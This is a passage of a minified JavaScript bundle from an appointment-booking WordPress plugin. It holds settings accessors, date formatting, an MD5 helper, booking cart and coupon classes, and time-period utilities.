this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class d{constructor(){this.settingsCtrl=new p,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==d.instance&&(d.instance=new d),d.instance}}function m(){return d.getInstance()}const u="undefined"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t="")=>e,g="undefined"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,s="")=>e;"undefined"!=typeof wp&&wp.i18n&&wp.i18n.sprintf&&wp.i18n.sprintf;const y={weekdays:{shorthand:[u("Sun","motopress-appointment"),u("Mon","motopress-appointment"),u("Tue","motopress-appointment"),u("Wed","motopress-appointment"),u("Thu","motopress-appointment"),u("Fri","motopress-appointment"),u("Sat","motopress-appointment")],longhand:[u("Sunday","motopress-appointment"),u("Monday","motopress-appointment"),u("Tuesday","motopress-appointment"),u("Wednesday","motopress-appointment"),u("Thursday","motopress-appointment"),u("Friday","motopress-appointment"),u("Saturday","motopress-appointment")]},months:{shorthand:[u("Jan","motopress-appointment"),u("Feb","motopress-appointment"),u("Mar","motopress-appointment"),u("Apr","motopress-appointment"),g("May","Month (short)","motopress-appointment"),u("Jun","motopress-appointment"),u("Jul","motopress-appointment"),u("Aug","motopress-appointment"),u("Sep","motopress-appointment"),u("Oct","motopress-appointment"),u("Nov","motopress-appointment"),u("Dec","motopress-appointment")],longhand:[u("January","motopress-appointment"),u("February","motopress-appointment"),u("March","motopress-appointment"),u("April","motopress-appointment"),g("May","Month","motopress-appointment"),u("June","motopress-appointment"),u("July","motopress-appointment"),u("August","motopress-appointment"),u("September","motopress-appointment"),u("October","motopress-appointment"),u("November","motopress-appointment"),u("December","motopress-appointment")]},amPM:["AM","PM"],firstDayOfWeek:m().settings().getFirstDayOfWeek()};function f(t,s="public"){if("string"==typeof t)return t;if("internal"==s)return f(t,"Y-m-d");if("public"==s)return e.format(m().settings().getDateFormat(),t);let i=(e,t=2)=>("00"+e).slice(-t),a=!1;return s.split("").map((e=>{if(a)return a=!1,e;switch(e){case"\\":return a=!0,"";case"j":return t.getDate();case"d":return i(t.getDate());case"D":return y.weekdays.shorthand[t.getDay()];case"l":return y.weekdays.longhand[t.getDay()];case"N":return t.getDay()||7;case"w":return t.getDay();case"z":let s=new Date(t.getFullYear(),0,1),r=s.getTimezoneOffset()-t.getTimezoneOffset(),n=t-s+60*r*1e3,o=864e5;return Math.floor(n/o);case"W":let l=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate())),h=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-h);let c=new Date(Date.UTC(l.getUTCFullYear(),0,1)),p=864e5;return Math.ceil(((l-c)/p+1)/7);case"F":return y.months.longhand[t.getMonth()];case"M":return y.months.shorthand[t.getMonth()];case"m":return i(t.getMonth()+1);case"n":return t.getMonth()+1;case"t":return new Date(t.getFullYear(),t.getMonth()+1,0).getDate();case"Y":return t.getFullYear();case"y":return String(t.getFullYear()).substring(2);case"L":return t.getFullYear()%4==0?1:0;case"A":return y.amPM[t.getHours()>11?1:0];case"a":return y.amPM[t.getHours()>11?1:0].toLowerCase();case"H":return i(t.getHours());case"h":return i(t.getHours()%12||12);case"G":return t.getHours();case"g":return t.getHours()%12||12;case"i":return i(t.getMinutes());case"s":return i(t.getSeconds());case"v":return i(t.getMilliseconds(),3);case"u":return i(t.getMilliseconds(),3)+"000";case"O":case"P":let d=-t.getTimezoneOffset(),m=d>=0?"+":"-",u=Math.floor(Math.abs(d)/60),g=Math.abs(d)%60,b="O"==e?"":":";return m+i(u)+b+i(g);case"Z":return 60*t.getTimezoneOffset();case"U":return Math.floor(t.getTime()/1e3);case"c":return f(t,"Y-m-d\\TH:i:sP");case"r":return f(t,"D, d M Y H:i:s O");case"S":case"o":case"B":case"e":case"T":case"I":return"";default:return e}})).join("")}function b(e){let t=e.match(/(\d{4})-(\d{2})-(\d{2})/);if(null!=t){let e=parseInt(t[1]),s=parseInt(t[2]),i=parseInt(t[3]);return new Date(e,s-1,i)}return null}function v(){let e=new Date;return e.setHours(0,0,0,0),e}function S(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var _,P,C={exports:{}},w={exports:{}};_="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",P={rotl:function(e,t){return e<<t|e>>>32-t},rotr:function(e,t){return e<<32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&P.rotl(e,8)|4278255360&P.rotl(e,24);for(var t=0;t<e.length;t++)e[t]=P.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],s=0,i=0;s<e.length;s++,i+=8)t[i>>>5]|=e[s]<<24-i%32;return t},wordsToBytes:function(e){for(var t=[],s=0;s<32*e.length;s+=8)t.push(e[s>>>5]>>>24-s%32&255);return t},bytesToHex:function(e){for(var t=[],s=0;s<e.length;s++)t.push((e[s]>>>4).toString(16)),t.push((15&e[s]).toString(16));return t.join("")},hexToBytes:function(e){for(var t=[],s=0;s<e.length;s+=2)t.push(parseInt(e.substr(s,2),16));return t},bytesToBase64:function(e){for(var t=[],s=0;s<e.length;s+=3)for(var i=e[s]<<16|e[s+1]<<8|e[s+2],a=0;a<4;a++)8*s+6*a<=8*e.length?t.push(_.charAt(i>>>6*(3-a)&63)):t.push("=");return t.join("")},base64ToBytes:function(e){e=e.replace(/[^A-Z0-9+\/]/gi,"");for(var t=[],s=0,i=0;s<e.length;i=++s%4)0!=i&&t.push((_.indexOf(e.charAt(s-1))&Math.pow(2,-2*i+8)-1)<<2*i|_.indexOf(e.charAt(s))>>>6-2*i);return t}},w.exports=P;var k=w.exports,$={utf8:{stringToBytes:function(e){return $.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape($.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],s=0;s<e.length;s++)t.push(255&e.charCodeAt(s));return t},bytesToString:function(e){for(var t=[],s=0;s<e.length;s++)t.push(String.fromCharCode(e[s]));return t.join("")}}},T=$,I=function(e){return null!=e&&(D(e)||function(e){return"function"==typeof e.readFloatLE&&"function"==typeof e.slice&&D(e.slice(0,0))}(e)||!!e._isBuffer)};function D(e){return!!e.constructor&&"function"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=k,t=T.utf8,s=I,i=T.bin,a=function(r,n){r.constructor==String?r=n&&"binary"===n.encoding?i.stringToBytes(r):t.stringToBytes(r):s(r)?r=Array.prototype.slice.call(r,0):Array.isArray(r)||r.constructor===Uint8Array||(r=r.toString());for(var o=e.bytesToWords(r),l=8*r.length,h=1732584193,c=-271733879,p=-1732584194,d=271733878,m=0;m<o.length;m++)o[m]=16711935&(o[m]<<8|o[m]>>>24)|4278255360&(o[m]<<24|o[m]>>>8);o[l>>>5]|=128<<l%32,o[14+(l+64>>>9<<4)]=l;var u=a._ff,g=a._gg,y=a._hh,f=a._ii;for(m=0;m<o.length;m+=16){var b=h,v=c,S=p,_=d;h=u(h,c,p,d,o[m+0],7,-680876936),d=u(d,h,c,p,o[m+1],12,-389564586),p=u(p,d,h,c,o[m+2],17,606105819),c=u(c,p,d,h,o[m+3],22,-1044525330),h=u(h,c,p,d,o[m+4],7,-176418897),d=u(d,h,c,p,o[m+5],12,1200080426),p=u(p,d,h,c,o[m+6],17,-1473231341),c=u(c,p,d,h,o[m+7],22,-45705983),h=u(h,c,p,d,o[m+8],7,1770035416),d=u(d,h,c,p,o[m+9],12,-1958414417),p=u(p,d,h,c,o[m+10],17,-42063),c=u(c,p,d,h,o[m+11],22,-1990404162),h=u(h,c,p,d,o[m+12],7,1804603682),d=u(d,h,c,p,o[m+13],12,-40341101),p=u(p,d,h,c,o[m+14],17,-1502002290),h=g(h,c=u(c,p,d,h,o[m+15],22,1236535329),p,d,o[m+1],5,-165796510),d=g(d,h,c,p,o[m+6],9,-1069501632),p=g(p,d,h,c,o[m+11],14,643717713),c=g(c,p,d,h,o[m+0],20,-373897302),h=g(h,c,p,d,o[m+5],5,-701558691),d=g(d,h,c,p,o[m+10],9,38016083),p=g(p,d,h,c,o[m+15],14,-660478335),c=g(c,p,d,h,o[m+4],20,-405537848),h=g(h,c,p,d,o[m+9],5,568446438),d=g(d,h,c,p,o[m+14],9,-1019803690),p=g(p,d,h,c,o[m+3],14,-187363961),c=g(c,p,d,h,o[m+8],20,1163531501),h=g(h,c,p,d,o[m+13],5,-1444681467),d=g(d,h,c,p,o[m+2],9,-51403784),p=g(p,d,h,c,o[m+7],14,1735328473),h=y(h,c=g(c,p,d,h,o[m+12],20,-1926607734),p,d,o[m+5],4,-378558),d=y(d,h,c,p,o[m+8],11,-2022574463),p=y(p,d,h,c,o[m+11],16,1839030562),c=y(c,p,d,h,o[m+14],23,-35309556),h=y(h,c,p,d,o[m+1],4,-1530992060),d=y(d,h,c,p,o[m+4],11,1272893353),p=y(p,d,h,c,o[m+7],16,-155497632),c=y(c,p,d,h,o[m+10],23,-1094730640),h=y(h,c,p,d,o[m+13],4,681279174),d=y(d,h,c,p,o[m+0],11,-358537222),p=y(p,d,h,c,o[m+3],16,-722521979),c=y(c,p,d,h,o[m+6],23,76029189),h=y(h,c,p,d,o[m+9],4,-640364487),d=y(d,h,c,p,o[m+12],11,-421815835),p=y(p,d,h,c,o[m+15],16,530742520),h=f(h,c=y(c,p,d,h,o[m+2],23,-995338651),p,d,o[m+0],6,-198630844),d=f(d,h,c,p,o[m+7],10,1126891415),p=f(p,d,h,c,o[m+14],15,-1416354905),c=f(c,p,d,h,o[m+5],21,-57434055),h=f(h,c,p,d,o[m+12],6,1700485571),d=f(d,h,c,p,o[m+3],10,-1894986606),p=f(p,d,h,c,o[m+10],15,-1051523),c=f(c,p,d,h,o[m+1],21,-2054922799),h=f(h,c,p,d,o[m+8],6,1873313359),d=f(d,h,c,p,o[m+15],10,-30611744),p=f(p,d,h,c,o[m+6],15,-1560198380),c=f(c,p,d,h,o[m+13],21,1309151649),h=f(h,c,p,d,o[m+4],6,-145523070),d=f(d,h,c,p,o[m+11],10,-1120210379),p=f(p,d,h,c,o[m+2],15,718787259),c=f(c,p,d,h,o[m+9],21,-343485551),h=h+b>>>0,c=c+v>>>0,p=p+S>>>0,d=d+_>>>0}return e.endian([h,c,p,d])};a._ff=function(e,t,s,i,a,r,n){var o=e+(t&s|~t&i)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._gg=function(e,t,s,i,a,r,n){var o=e+(t&i|s&~i)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._hh=function(e,t,s,i,a,r,n){var o=e+(t^s^i)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._ii=function(e,t,s,i,a,r,n){var o=e+(s^(t|~i))+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._blocksize=16,a._digestsize=16,C.exports=function(t,s){if(null==t)throw new Error("Illegal argument "+t);var r=e.wordsToBytes(a(t,s));return s&&s.asBytes?r:s&&s.asString?i.bytesToString(r):e.bytesToHex(r)}}();var E=S(C.exports);class A{setupProperties(){this.itemId="",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e="all"){return"ids"===e?this.getIds():"availability"===e?this.getAvailableIds():"period"===e?{date:null!==this.date?f(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):""}:jQuery.extend(this.getIds(),{date:null!==this.date?f(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):"",capacity:this.capacity})}isSet(e="all"){let t=!0;return"all"!==e&&"ids"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),"all"!==e&&"period"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&f(this.date,"internal")==f(e,"internal")&&this.time.toString("internal")==t.toString("internal")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(n(t.minCapacity,t.maxCapacity));return i(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case"disabled":default:t=e;break;case"fixed":t=this.service.depositAmount;break;case"percentage":t=e*this.service.depositAmount/100}return t>e?e:t}getHash(e="all"){return E(JSON.stringify(this.toArray(e)))}didChange(e,t="all"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){"number"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){"number"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e<=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let M=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let s=!this.includesKey(e);return this.values[e]=t,s&&(this.keys.push(e),this.length++),s}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let s=this.findNextKey(e);return""!==s?this.values[s]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let s=t+1;return s<this.length?this.keys[s]:this.keys[t]}findPrevious(e,t=null){let s=this.findPreviousKey(e);return""!==s?this.values[s]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let s=t-1;return s>=0?this.keys[s]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let s=this.keys.indexOf(e);return this.keys.splice(s,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let s of this.keys){let i=this.values[s][e];null!=i&&(Array.isArray(i)?t=t.concat(i):t.push(i))}return i(t)}forEach(e){let t=0;for(let s of this.keys){let i=e(this.values[s],t,s,this);if(t++,!1===i)break}}map(e){let t=[],s=0;for(let i of this.keys)t.push(e(this.values[i],s,i,this)),s++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}},x={};function F(e,t=!1){return"object"==typeof e?0==function(e,t=!1){return"object"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function B(e="",t=!1){let s=function(e,t){return t<(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join("0")+e:e};x.uniqid_seed||(x.uniqid_seed=Math.floor(123456789*Math.random())),x.uniqid_seed++;let i=e;return i+=s(parseInt((new Date).getTime()/1e3,10),8),i+=s(x.uniqid_seed,5),t&&(i+=(10*Math.random()).toFixed(8).toString()),i}class L{setupProperties(){this.items=new M,this.activeItem=null,this.customerDetails={name:"",email:"",phone:""},this.paymentDetails={booking_id:0,gateway_id:"none"},this.coupon=null,this.bookingNonce=mpaData.nonces.mpa_create_booking}constructor(){this.setupProperties()}createItem(e=""){e||(e=B());let t=new A(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():""}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem="string"==typeof e?this.getItem(e):e}removeItem(e){"string"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let s of e)t+=s.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let s=t.getPrice();this.hasCoupon()&&(s-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(s)})),e}getCustomer(){return this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e="all"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),m().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),"items"===e?t.items:t}getHash(e="all"){return E("order"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t="all"){return e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||v()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=i(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class R{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class O extends R{setupProperties(){super.setupProperties(),this.name=""}}class N extends R{setupProperties(){super.setupProperties(),this.name=""}}class V extends R{setupProperties(){super.setupProperties(),this.name="",this.price=0,this.depositType="disabled",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking="",this.maxAdvanceTimeBeforeReservation="",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel="",this.variations={},this.image="",this.thumbnail=""}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let s=this.getVariation("price",e,this.price);return this.multiplyPrice&&(s*=t),s}getDuration(e=0){return this.getVariation("duration",e,this.duration)}getMinCapacity(e=0){return this.getVariation("min_capacity",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation("max_capacity",e,this.maxCapacity)}getVariation(e,t,s){return t in this.variations?this.variations[t][e]:s}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return""!==this.customQuantityLabel?this.getCustomQuantityLabel():u("Clients","motopress-appointment")}}class q{static loadInBackground(e,t,s=!1){return t.findById(e.id,s).then((t=>{if(null!==t)for(let s in t)e[s]=t[s];return t}))}}class U extends R{setupProperties(){super.setupProperties(),this.status="new",this.code="",this.description="",this.type="fixed",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of["expirationDate","minDate","maxDate"]){let s=e[t];null!=s&&""!==s&&(this[t]=b(s)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date<this.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let s=e.getPrice();switch(this.type){case"fixed":t=this.amount;break;case"percentage":t=s*this.amount/100}t=Math.min(t,s)}return t}}function H(e){return!!e}function j(e){let t=parseInt(e);return isNaN(t)?e<<0:t}class W{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf("mpa_")?t.substring(4):0===t.indexOf("_mpa_")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let s=this.mapRestDataToEntity(t);return this.saveEntity(e,s),s}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let s=[],i=[];for(let a of e)this.haveEntity(a)&&!t?i.push(this.getEntity(a)):s.push(a);return 0===s.length?Promise.resolve(i):this.requestEntities(s).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),i.push(e)}return i}),(e=>[]))}requestEntity(e){return h(this.getRoute(),{id:e})}requestEntities(e){return h(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`/${this.entityType}s`}}class G extends W{findByCode(e,t=!1){return h(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new U(e.id,e)}}function z(e,t="public"){return f(e,"internal"==t?"H:i":"public"==t?m().settings().getTimeFormat():t)}function Q(e){let t=e.split(":"),s=parseInt(t[0]),i=parseInt(t[1]),a=v();return a.setHours(s,i),a}class Y{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(" - ");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime="string"==typeof e?Q(e):new Date(e)}setEndTime(e){this.endTime="string"==typeof e?Q(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime<e.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime<=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime<e.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new Y(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new Y(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()<=0}toString(e="public",t=" - "){"internal"==e&&(t=" - ");let s="short"==e?"public":e,i=z(this.startTime,s),a=z(this.endTime,s);return"internal"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&i===a?u("All day","motopress-appointment"):"short"==e&&i==a?i:i+t+a}}class K extends R{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)"date"==t?this.setDate(e[t]):"serviceTime"==t?this.setServiceTime(e[t]):"bufferTime"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date="string"==typeof e?b(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime="string"==typeof e?new Y(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime="string"==typeof e?new Y(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class Z extends W{mapRestDataToEntity(e){return new K(e.id,e)}}class J{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(" - ");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return"string"==typeof e?b(e)||v():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e/1e3/3600/24)}inPeriod(e){return"string"==typeof e&&(e=b(e)),null!=e&&e>=this.startDate&&e<=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t<=this.endDate;t.setDate(t.getDate()+1)){let s=f(t,"internal"),i=new Date(t);e[s]=i}return e}toString(){return f(this.startDate,"internal")+" - "+f(this.endDate,"internal")}}class X extends R{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in e)"timetable"==t?this.setTimetable(e[t]):"customWorkdays"==t?this.setCustomWorkdays(e[t]):"daysOff"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],s=[];e.forEach((e=>{let i=new 